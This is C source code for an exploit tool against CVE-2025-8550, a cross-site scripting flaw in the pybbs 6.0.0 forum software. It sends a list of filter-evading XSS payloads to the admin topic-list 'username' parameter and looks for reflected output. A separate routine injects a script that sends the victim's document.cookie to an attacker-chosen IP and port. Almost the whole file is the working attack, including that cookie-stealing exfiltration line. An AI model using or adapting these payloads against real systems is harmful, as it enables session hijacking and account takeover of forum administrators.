/* * Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS) * Exploit Author: Byte Reaper * Vendor Homepage: https://github.com/atjiu/pybbs * Tested on: Kali Linux * CVE: CVE-2025-8550 * ------------------------------------------------------------------------------------------------------------------------------------ */ #include <stdio.h> #include <curl/curl.h> #include <pthread.h> #include <string.h> #include <stdlib.h> #include "argparse.h" #include <time.h> #include <dirent.h> #include <unistd.h> #include <ctype.h> #include <arpa/inet.h> #define FULL_URL 3500 #define FULL_PAYLOAD_URL 9000 #define BUFFER_SIZE 6000 int selCookie = 0; const char *cookies = NULL; const char *baseurl = NULL; const char *nameFileC= NULL; int cookiesPayload = 0; const char *ip = NULL; int port = 0; int verbose = 0; int serchServer_alt() { printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n"); const char *nameProcess[] = { "python", "apache2", "python3", "mysql", NULL }; DIR *d = opendir("/proc"); if (!d) return 1; struct dirent *entry; while ((entry = readdir(d)) != NULL) { if (!isdigit(entry->d_name[0])) continue; char cmdpath[256]; snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name); FILE *f = fopen(cmdpath, "r"); if (!f) continue; char comm[256]; if (fgets(comm, sizeof(comm), f)) { for (int i = 0; nameProcess[i]; i++) { if (strstr(comm, nameProcess[i])) { printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name); closedir(d); return 0; } } } fclose(f); } closedir(d); return 1; printf("\e[0;35m==========================================================================================================\e[0m\n"); } void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } const char *payloads[] = { "<script>alert(1)</script>", "\"><img src=x onerror=alert(1)>", "<svg onload=alert(1)>", "<body onload=alert(1)>", "<iframe src=\"javascript:alert(1)\"></iframe>", "<a href=\"#\" onclick=\"alert(1)\">click</a>", "<math><mi xlink:href=\"javascript:alert(1)\">XSS</mi></math>", "<svg><script>alert(1)</script></svg>", "\"><iframe srcdoc=\"<script>alert(1)</script>\"></iframe>", "<img src=\"x\" onerror=\"javascript:alert(1)\">", "<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>", "<script>Function('al'+'ert(1)')()</script>", "<script>(([]+[])[+[]]+([][[]]+[])[+!+[]])[1]+''[1]</script>", "<object data=\"javascript:alert(1)\"></object>", "<video><source onerror=\"alert(1)\"></video>", "<link rel=\"stylesheet\" href=\"javascript:alert(1)\">", "<form onformdata=alert(1)><input></form>", "<isindex type=image src=1 onerror=alert(1)>", "<details open ontoggle=alert(1)>", "<img src=x onerror=alert(1)>", "javascript:alert`1`", "javascript:alert(1)", "<script src=data:text/javascript,alert(1)></script>", NULL }; const char *wordPayloadXss[] = { "<script>", "onerror=", "onload=", "alert(", "javascript:", "<svg", "fetch(", "document.cookie", "srcdoc=", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void cookieSend(const char *ipServer, int portY, const char *urlCP) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem responsePayload ; responsePayload.buffer = NULL; responsePayload.len = 0; printf("\e[0;35m================================================================ [COOKIE PAYLOAD] ================================================================\e[0m\n"); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } if (curl) { char full[FULL_PAYLOAD_URL]; if (!port) { portY = 80; printf("\e[0;34m[+] Default Port -> %d\e[0m\n", portY); } unsigned long format; format = inet_addr(ipServer); if (format == INADDR_NONE) { printf("\e[0;31m[-] Invalid IP address string.\e[0m\n"); exitSyscall(); } else { printf("\e[0;34m[+] IP ADDRESS : %s\e[0m\n", ipServer); } char server[BUFFER_SIZE]; if (!server) { fprintf(stderr, "\e[0;31m[-] Error allocating memory!\e[0m\n"); exitSyscall(); } int lenS = snprintf(server, BUFFER_SIZE, "<script>new Image().src='http://%s:%d/steal?c='+encodeURIComponent(document.cookie);</script>", ipServer, portY); if (checkLen(lenS, server, BUFFER_SIZE) == 1) { printf("[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } printf("\e[0;34m[+] Write Your IP And Port successfully in Payload.\e[0m\n"); printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server); char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server)); if (!encodePayloadCookie) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("[+] Encode Payload : %s\n", encodePayloadCookie); int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie); if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responsePayload); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Upgrade-Insecure-Requests: 1"); h = curl_slist_append(h, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayloadCookie); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n"); printf("\e[0;36m[+] Please Check Your Server.\e[0m\n"); } else { printf("[-] Payload Injection Failed !\e[0m\n"); printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (responsePayload.buffer) { free(responsePayload.buffer); responsePayload.buffer = NULL; responsePayload.len = 0; } printf("\e[0;35m==================================================================================================================================================\e[0m\n"); } int sendRequest(const char *url) { char full[FULL_URL]; struct Mem response; CURL *curl = curl_easy_init(); if (curl == NULL || !curl) { printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n"); exitSyscall(); } CURLcode res; response.buffer= NULL; response.len = 0; if (response.buffer == NULL && response.len == 0) { printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n"); printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n"); printf("\e[0;33m[+] Response Len -> 0\e[0m\n"); } else { printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n"); } int finish = 0; for (int p = 0 ; payloads[p] != NULL; p++) { char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p])); if (encodePayload == NULL || !encodePayload) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n"); printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]); printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload); int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload); if (checkLen(len, full, sizeof(full)) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len); exitSyscall(); } printf("[+] FULL URL : %s\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); char referer[3500]; int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full); if (checkLen(refLen, referer, sizeof(referer)) == 1) { printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n"); printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n"); h = curl_slist_append(h, "Referer : http://exemple.com"); exitSyscall(); } else { printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n"); printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer); h = curl_slist_append(h, referer); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayload); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { if (response.buffer) { printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[Len] : %zu\e[0m\n", response.len); printf("\e[1;37m\n=============================================================================================\e[0m\n"); } } for (int w = 0; wordPayloadXss[w] != NULL; w++) { if (strstr(response.buffer, wordPayloadXss[w]) != NULL) { printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]); if (response.buffer) { printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===============================================================================================\e[0m\n\n"); } else { printf("[-] Response Is NULL, Exit ...\n"); exitSyscall(); } } else { if (verbose) { printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]); } if (wordPayloadXss[w] == NULL) { printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n"); finish = 1; } } } } else { printf("\e[0;31m[-] Negative response code (%ld)!\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } return finish; } void *thread_routine(void *arg) { int finish = sendRequest((const char *)arg); return (void *)(intptr_t)finish; } void runThread(const char *urlT) { int valeuF = sendRequest(urlT); pthread_t thread; for (int u = 0; valeuF == 1; u++) { if (valeuF == 1) { pthread_exit(NULL); } if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0) { printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n"); } else { printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n"); } sleep(2); printf("\e[0;32m[+] Sleep 2 s...\n"); pthread_cancel(thread); if (pthread_join(thread, NULL) == 0) { printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n"); } } } } int main(int argc, const char **argv) { printf( "\e[0;31m" "░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░██████ ░████████ ░████████ ░████ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░███████ ░███████ ░██ ░████ \n" "░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██████ ░██ ░██ ░██░██░██ \n" "░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ \n" "░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██████ ░██████ ░██████ ░████ \n" "\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://<TARGET>)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('k', "cokpay", &cookiesPayload, "Arg For Send Request steals cookies (-k (NULL))"), OPT_STRING('i', "ip", &ip, "Enter Your Ip Server"), OPT_INTEGER('p', "port", &port, "Enter Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); serchServer_alt(); if (!baseurl) { printf("\e[1;31m[-] Please Enter target Url !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://<TARGET>\e[0m\n"); exitSyscall(); } if (nameFileC) { selCookie = 1; } if (verbose) { verbose = 1; } if (cookieSend && ip && port) { cookieSend(ip, port, baseurl); } else { printf("[-] Please Enter Ip And Port !\e[0m\n"); } runThread(baseurl); curl_global_cleanup(); return 0; }